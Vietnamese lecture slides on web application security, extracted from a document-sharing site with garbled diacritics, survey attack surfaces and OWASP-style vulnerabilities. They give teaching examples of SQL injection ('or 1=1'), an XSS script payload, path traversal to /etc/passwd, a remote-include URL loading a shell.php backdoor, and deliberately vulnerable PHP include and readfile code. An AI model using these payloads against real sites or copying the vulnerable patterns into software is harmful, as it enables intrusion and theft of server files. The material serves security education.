Bài giảng An toàn mạng máy tính nâng cao: Chương 6 - ThS. Nguyễn Duy

20 11 0
Bài giảng An toàn mạng máy tính nâng cao: Chương 6 - ThS. Nguyễn Duy

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh.. Date: 1-5-2015.[r]

(1)

WEB APPLICATION SECURITY

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh

(2)

ABOUT AUTHOR

•  Name: Nguyễn Tuấn Anh

Nguyễn Trường Phú

•  Class: 23CCAN04

(3)

CONTENT

1.  Web application attack and defense

(4)

Web Application

(5)

Nn tng Website ph biến:

•  Apache (httpd)

•  Nginx

•  IIS

•  Apache Tomcat

•  PHP

•  ASPX (ASP.NET)

•  JSP + Servlet (JAVA)

•  HTML + CSS / HTML5 + CSS3

•  Javascript / Jquery

Client – Side

Server - Side

•  MySQL

•  MariaDB

•  MongoDB

•  MemSQL

•  Access

•  SQLserver

•  MSSQL

•  ……

+ +

(6)

1 Website có th b tn cơng như thế nào?

•  Thơng qua Authencation (Các hình thức cơng vào mật khẩu, giao thức mã hố, hình thức chứng thực,…)

•  Thơng qua Session, Transport,… (Các hình thức công qua bảo mật đường truyền bao gồm MITM)

•  Thơng qua L hng Web Application

•  Thơng qua Lổ hổng OS (Đặc biệt nhiều Windows Linux)

•  Thơng qua Server Application/Software (Lổ hổng service/software khác server: Mail, browser,adobe,java,…)

•  Thơng qua Mã độc Backdoor thiết lập từ trước

•  Thơng qua hình thức cơng từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, … )

•  Thơng qua Crawler kẻ hở configure quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…)

•  Thơng qua Tấn công vật lý

(7)

L hng Web Application

1.  Injection (SQLi, LDAPi, OS command injection,…)

2.  Cross Site Scripting (XSS)

3.  Broken Authentication and Session Management (Nguy quản lý phiên/session)

4.  Insecure Direct Object References (Các lổ hổng tham chiếu)

5.  Cross Site Request Forgery (CSRF)

6.  Security Misconfiguration (Lổ hổng cấu hình, triển khai dịch vụ web,…)

7.  Insecure Cryptographic Storage (Lổ hổng mã hoá liệu nhạy cảm)

8.  Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm)

9.  Insufficient Transport Layer Protection (Lổ hổng đường truyền)

10.  Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)

(8)

Ví d v s hình thc tn cơng Web Application ph biến:

•  SQL injection (SQLi)

•  Cross Site Scripting (XSS)

•  Local File Inclusion (LFI)

•  Remote File Inclusion (RFI)

•  Local File Discluse/Download (LFD)

(9)

Định nghĩa:

1 SQL injection

SQL injection (SQLi) một kỹ thuật cho phép kẻ công lợi dụng lỗ

hổng việc kiểm tra liệu đầu vào ứng dụng web thông

báo lỗi hệ quản trị sở liệu trả để inject (tiêm vào) thi hành

(10)

Ví dụ:

1 SQL injection

Truy cập chuyên mục SQL ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl è Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page

Trong có thể $page=$_GET(‘tenpage’)

Attacker cố tình truy vấn URL: http://ceh.vn /index.php?page=SQl or 1=1

è Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1

Ta thấy 1=1 ln nên truy vấn trả lại tất thông tin có bảng chuyenmuc ⇒ Thơng tin bị khai thác => Lỗi

(11)

Định nghĩa:

2 XSS

XSS xut hin mt ng dng web cho phép người dùng nhp d liu vào mà

không thông qua kim duyt ni dung, nhng d liu s tương tác trc tiếp vi

nhng người dùng khác s dng website Nguy cơ to hacker có th

chèn mã kch bn như HTML, Javascript… (client side) nhm ăn cp

SessionCookie, thay đổi giao din (deface) hoc chuyn hướng đến trang có mã

(12)

Định nghĩa:

(13)

Ví dụ: 2 XSS if(!empty($_GET['name'])) { $name=$_GET['name']; print $name;

} else { Code lây $name trực tiếp từ giá trị khung name in thẳng:

Khi attacker khơng truy vấn bình thường mà inject mã javascript

vào khung name ó Truyền

giá trị trực tiếp cho biến name:

<script>alert(“Crazykid”)</script>

Lúc javascript gán cho biến name in

(14)

Định nghĩa:

3 LFI

L hng cho phép attacker có th truy vn tp tin nhy cm

web server đọc được

Ni dung tp tin đó Ví d tp tin nhy cm: /etc/passwd, /etc/

(15)

Ví dụ:

3 LFI

Truy cập chuyên mục SQL ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl è Nếu code trang view có dạng:

<?php $Bien=$_GET[‘page’];

Include $Bien; ?>

Attacker cố tình truy vấn URL: http://ceh.vn /index.php?page= / / /etc/passwd

è Lúc trở thành giống ta code sau:

<?php $Bien=$_GET[‘page’];

Include / / /etc/passwd; ?>

è Attacker đọc nội dung tập tin passwd đường dẫn / /etc/ server

ngay trang view

(16)

Định nghĩa:

3 RFI

Cho phép attack gọi đến file web server server khác web

server Ví dụ:

http://ceh.vn/page?=http://www.vietnamnet.vn

Nếu ceh.vn bị lỗi RFI nội dung trang vietnamnet.vn hiển hị ceh.vn

Nếu attacker đặt backdoor vietnamnet.vn dạng:

http://www.vietnamnet.vn/shell.php

Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php

Thì nội dung backdoor shell.php include vào source code ceh.vn ó ta cắm

(17)

Ví dụ:

3 RFI

Code: <?php

$test=$_GET['test']; include $test.'id=1'; ?>

Và register_globals = off

http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt

Input:

(18)

Định nghĩa:

3 LFD

Ging LFI nhưng thay attacker có th đọc file nhy cm đây attacker có th

(19)

Ví dụ:

3 LFD

Đoạn code sau: <?php

$test=$_GET['test']; readfile($test);

?>

Hàm readfile() cho phép đọc code file truyền vào

(20)

Phát hiện, kiểm tra lổ hổng Web Application:

•  Ở vị trí attacker cơng Opensource vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat:

Đọc source code, Debug Source code tìm lổ hổng

•  Tấn cơng CloseSource, Đa số, kiểm thử Blackbox:

q  Sử dụng phương pháp thủ công

Phương pháp Fuzzer vào input

(Nhập vào chuỗi ký tự ngẫu nhiên có mục địch nhằm xác định lổ hổng)

Ví dụ: Thêm vào URL, khung Search, Login,… câu truy vấn, thay đổi method, tiêm vô số ký tự,…

q  Sử dụng phương pháp tự động

Sử dụng công cụ Scan, tìm kiếm lổ hổng

Ví dụ:

Ngày đăng: 09/03/2021, 06:18

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan